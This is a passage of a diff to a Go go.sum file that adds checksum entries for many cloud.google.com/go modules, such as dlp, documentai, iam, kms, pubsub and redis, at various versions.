h1:jG9TRJl8CKrDhMEcvfcfFkkpp8ZhgPz3sBGmAUYJ2qE= +cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= +cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= +cloud.google.com/go/dlp v1.9.0/go.mod h1:qdgmqgTyReTz5/YNSSuueR8pl7hO0o9bQ39ZhtgkWp4= +cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= +cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= +cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= +cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= +cloud.google.com/go/documentai v1.16.0/go.mod h1:o0o0DLTEZ+YnJZ+J4wNfTxmDVyrkzFvttBXXtYRMHkM= +cloud.google.com/go/documentai v1.18.0/go.mod h1:F6CK6iUH8J81FehpskRmhLq/3VlwQvb7TvwOceQ2tbs= +cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= +cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= +cloud.google.com/go/domains v0.8.0/go.mod h1:M9i3MMDzGFXsydri9/vW+EWz9sWb4I6WyHqdlAk0idE= +cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= +cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= +cloud.google.com/go/edgecontainer v0.3.0/go.mod h1:FLDpP4nykgwwIfcLt6zInhprzw0lEi2P1fjO6Ie0qbc= +cloud.google.com/go/edgecontainer v1.0.0/go.mod h1:cttArqZpBB2q58W/upSG++ooo6EsblxDIolxa3jSjbY= +cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= +cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= +cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= +cloud.google.com/go/essentialcontacts v1.5.0/go.mod h1:ay29Z4zODTuwliK7SnX8E86aUF2CTzdNtvv42niCX0M= +cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= +cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= +cloud.google.com/go/eventarc v1.10.0/go.mod h1:u3R35tmZ9HvswGRBnF48IlYgYeBcPUCjkr4BTdem2Kw= +cloud.google.com/go/eventarc v1.11.0/go.mod h1:PyUjsUKPWoRBCHeOxZd/lbOOjahV41icXyUY5kSTvVY= +cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= +cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= +cloud.google.com/go/filestore v1.5.0/go.mod h1:FqBXDWBp4YLHqRnVGveOkHDf8svj9r5+mUDLupOWEDs= +cloud.google.com/go/filestore v1.6.0/go.mod h1:di5unNuss/qfZTw2U9nhFqo8/ZDSc466dre85Kydllg= +cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= +cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= +cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= +cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= +cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= +cloud.google.com/go/functions v1.10.0/go.mod h1:0D3hEOe3DbEvCXtYOZHQZmD+SzYsi1YbI7dGvHfldXw= +cloud.google.com/go/functions v1.12.0/go.mod h1:AXWGrF3e2C/5ehvwYo/GH6O5s09tOPksiKhz+hH8WkA= +cloud.google.com/go/functions v1.13.0/go.mod h1:EU4O007sQm6Ef/PwRsI8N2umygGqPBS/IZQKBQBcJ3c= +cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= +cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= +cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= +cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= +cloud.google.com/go/gaming v1.9.0/go.mod h1:Fc7kEmCObylSWLO334NcO+O9QMDyz+TKC4v1D7X+Bc0= +cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= +cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= +cloud.google.com/go/gkebackup v0.4.0/go.mod h1:byAyBGUwYGEEww7xsbnUTBHIYcOPy/PgUWUtOeRm9Vg= +cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= +cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= +cloud.google.com/go/gkeconnect v0.7.0/go.mod h1:SNfmVqPkaEi3bF/B3CNZOAYPYdg7sU+obZ+QTky2Myw= +cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= +cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= +cloud.google.com/go/gkehub v0.11.0/go.mod h1:JOWHlmN+GHyIbuWQPl47/C2RFhnFKH38jH9Ascu3n0E= +cloud.google.com/go/gkehub v0.12.0/go.mod h1:djiIwwzTTBrF5NaXCGv3mf7klpEMcST17VBTVVDcuaw= +cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= +cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= +cloud.google.com/go/gkemulticloud v0.5.0/go.mod h1:W0JDkiyi3Tqh0TJr//y19wyb1yf8llHVto2Htf2Ja3Y= +cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= +cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= +cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= +cloud.google.com/go/gsuiteaddons v1.5.0/go.mod h1:TFCClYLd64Eaa12sFVmUyG62tk4mdIsI7pAnSXRkcFo= +cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= +cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= +cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= +cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= +cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= +cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= +cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= +cloud.google.com/go/iam v0.12.0/go.mod h1:knyHGviacl11zrtZUoDuYpDgLjvr28sLQaG0YB2GYAY= +cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0= +cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= +cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= +cloud.google.com/go/iap v1.6.0/go.mod h1:NSuvI9C/j7UdjGjIde7t7HBz+QTwBcapPE07+sSRcLk= +cloud.google.com/go/iap v1.7.0/go.mod h1:beqQx56T9O1G1yNPph+spKpNibDlYIiIixiqsQXxLIo= +cloud.google.com/go/iap v1.7.1/go.mod h1:WapEwPc7ZxGt2jFGB/C/bm+hP0Y6NXzOYGjpPnmMS74= +cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= +cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= +cloud.google.com/go/ids v1.3.0/go.mod h1:JBdTYwANikFKaDP6LtW5JAi4gubs57SVNQjemdt6xV4= +cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= +cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= +cloud.google.com/go/iot v1.5.0/go.mod h1:mpz5259PDl3XJthEmh9+ap0affn/MqNSP4My77Qql9o= +cloud.google.com/go/iot v1.6.0/go.mod h1:IqdAsmE2cTYYNO1Fvjfzo9po179rAtJeVGUvkLN3rLE= +cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= +cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= +cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= +cloud.google.com/go/kms v1.8.0/go.mod h1:4xFEhYFqvW+4VMELtZyxomGSYtSQKzM178ylFW4jMAg= +cloud.google.com/go/kms v1.9.0/go.mod h1:qb1tPTgfF9RQP8e1wq4cLFErVuTJv7UsSC915J8dh3w= +cloud.google.com/go/kms v1.10.0/go.mod h1:ng3KTUtQQU9bPX3+QGLsflZIHlkbn8amFAMY63m8d24= +cloud.google.com/go/kms v1.10.1/go.mod h1:rIWk/TryCkR59GMC3YtHtXeLzd634lBbKenvyySAyYI= +cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= +cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= +cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= +cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= +cloud.google.com/go/language v1.9.0/go.mod h1:Ns15WooPM5Ad/5no/0n81yUetis74g3zrbeJBE+ptUY= +cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= +cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= +cloud.google.com/go/lifesciences v0.8.0/go.mod h1:lFxiEOMqII6XggGbOnKiyZ7IBwoIqA84ClvoezaA/bo= +cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= +cloud.google.com/go/logging v1.7.0/go.mod h1:3xjP2CjkM3ZkO73aj4ASA5wRPGGCRrPIAeNqVNkzY8M= +cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= +cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= +cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo= +cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= +cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= +cloud.google.com/go/managedidentities v1.5.0/go.mod h1:+dWcZ0JlUmpuxpIDfyP5pP5y0bLdRwOS4Lp7gMni/LA= +cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= +cloud.google.com/go/maps v0.6.0/go.mod h1:o6DAMMfb+aINHz/p/jbcY+mYeXBoZoxTfdSQ8VAJaCw= +cloud.google.com/go/maps v0.7.0/go.mod h1:3GnvVl3cqeSvgMcpRlQidXsPYuDGQ8naBis7MVzpXsY= +cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= +cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= +cloud.google.com/go/mediatranslation v0.7.0/go.mod h1:LCnB/gZr90ONOIQLgSXagp8XUW1ODs2UmUMvcgMfI2I= +cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= +cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= +cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= +cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= +cloud.google.com/go/memcache v1.9.0/go.mod h1:8oEyzXCu+zo9RzlEaEjHl4KkgjlNDaXbCQeQWlzNFJM= +cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= +cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= +cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= +cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= +cloud.google.com/go/metastore v1.10.0/go.mod h1:fPEnH3g4JJAk+gMRnrAnoqyv2lpUCqJPWOodSaf45Eo= +cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= +cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= +cloud.google.com/go/monitoring v1.12.0/go.mod h1:yx8Jj2fZNEkL/GYZyTLS4ZtZEZN8WtDEiEqG4kLK50w= +cloud.google.com/go/monitoring v1.13.0/go.mod h1:k2yMBAB1H9JT/QETjNkgdCGD9bPF712XiLTVr+cBrpw= +cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= +cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= +cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= +cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= +cloud.google.com/go/networkconnectivity v1.10.0/go.mod h1:UP4O4sWXJG13AqrTdQCD9TnLGEbtNRqjuaaA7bNjF5E= +cloud.google.com/go/networkconnectivity v1.11.0/go.mod h1:iWmDD4QF16VCDLXUqvyspJjIEtBR/4zq5hwnY2X3scM= +cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= +cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= +cloud.google.com/go/networkmanagement v1.6.0/go.mod h1:5pKPqyXjB/sgtvB5xqOemumoQNB7y95Q7S+4rjSOPYY= +cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= +cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= +cloud.google.com/go/networksecurity v0.7.0/go.mod h1:mAnzoxx/8TBSyXEeESMy9OOYwo1v+gZ5eMRnsT5bC8k= +cloud.google.com/go/networksecurity v0.8.0/go.mod h1:B78DkqsxFG5zRSVuwYFRZ9Xz8IcQ5iECsNrPn74hKHU= +cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= +cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= +cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= +cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= +cloud.google.com/go/notebooks v1.7.0/go.mod h1:PVlaDGfJgj1fl1S3dUwhFMXFgfYGhYQt2164xOMONmE= +cloud.google.com/go/notebooks v1.8.0/go.mod h1:Lq6dYKOYOWUCTvw5t2q1gp1lAp0zxAxRycayS0iJcqQ= +cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= +cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= +cloud.google.com/go/optimization v1.3.1/go.mod h1:IvUSefKiwd1a5p0RgHDbWCIbDFgKuEdB+fPPuP0IDLI= +cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= +cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= +cloud.google.com/go/orchestration v1.6.0/go.mod h1:M62Bevp7pkxStDfFfTuCOaXgaaqRAga1yKyoMtEoWPQ= +cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= +cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= +cloud.google.com/go/orgpolicy v1.10.0/go.mod h1:w1fo8b7rRqlXlIJbVhOMPrwVljyuW5mqssvBtU18ONc= +cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= +cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= +cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= +cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= +cloud.google.com/go/osconfig v1.11.0/go.mod h1:aDICxrur2ogRd9zY5ytBLV89KEgT2MKB2L/n6x1ooPw= +cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= +cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= +cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= +cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= +cloud.google.com/go/oslogin v1.9.0/go.mod h1:HNavntnH8nzrn8JCTT5fj18FuJLFJc4NaZJtBnQtKFs= +cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= +cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= +cloud.google.com/go/phishingprotection v0.7.0/go.mod h1:8qJI4QKHoda/sb/7/YmMQ2omRLSLYSu9bU0EKCNI+Lk= +cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= +cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= +cloud.google.com/go/policytroubleshooter v1.5.0/go.mod h1:Rz1WfV+1oIpPdN2VvvuboLVRsB1Hclg3CKQ53j9l8vw= +cloud.google.com/go/policytroubleshooter v1.6.0/go.mod h1:zYqaPTsmfvpjm5ULxAyD/lINQxJ0DDsnWOP/GZ7xzBc= +cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= +cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= +cloud.google.com/go/privatecatalog v0.7.0/go.mod h1:2s5ssIFO69F5csTXcwBP7NPFTZvps26xGzvQ2PQaBYg= +cloud.google.com/go/privatecatalog v0.8.0/go.mod h1:nQ6pfaegeDAq/Q5lrfCQzQLhubPiZhSaNhIgfJlnIXs= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= +cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= +cloud.google.com/go/pubsub v1.28.0/go.mod h1:vuXFpwaVoIPQMGXqRyUQigu/AX1S3IWugR9xznmcXX8= +cloud.google.com/go/pubsub v1.30.0/go.mod h1:qWi1OPS0B+b5L+Sg6Gmc9zD1Y+HaM0MdUr7LsupY1P4= +cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= +cloud.google.com/go/pubsublite v1.6.0/go.mod h1:1eFCS0U11xlOuMFV/0iBqw3zP12kddMeCbj/F3FSj9k= +cloud.google.com/go/pubsublite v1.7.0/go.mod h1:8hVMwRXfDfvGm3fahVbtDbiLePT3gpoiJYJY+vxWxVM= +cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= +cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= +cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= +cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= +cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= +cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= +cloud.google.com/go/recaptchaenterprise/v2 v2.6.0/go.mod h1:RPauz9jeLtB3JVzg6nCbe12qNoaa8pXc4d/YukAmcnA= +cloud.google.com/go/recaptchaenterprise/v2 v2.7.0/go.mod h1:19wVj/fs5RtYtynAPJdDTb69oW0vNHYDBTbB4NvMD9c= +cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= +cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= +cloud.google.com/go/recommendationengine v0.7.0/go.mod h1:1reUcE3GIu6MeBz/h5xZJqNLuuVjNg1lmWMPyjatzac= +cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= +cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= +cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= +cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= +cloud.google.com/go/recommender v1.9.0/go.mod h1:PnSsnZY7q+VL1uax2JWkt/UegHssxjUVVCrX52CuEmQ= +cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= +cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= +cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= +cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= +cloud.google.com/go/redis v1.11.0/go.mod h1:/X6eicana+BWcUda5PpwZC48o37SiFVTFSs0fWAJ7uQ= +cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= +cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= +cloud.google.com/go/resourcemanager v1.5.0/go.mod h1:eQoXNAiAvCf5PXxWxXjhKQoTMaUSNrEfg+6qdf/wots= +cloud.google.com/go/resourcemanager v1.6.0/go.mod h1:YcpXGRs8fDzcUl1Xw8uOVmI8JEadvhRIkoXXUNVYcVo= +cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI= +cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= +cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= 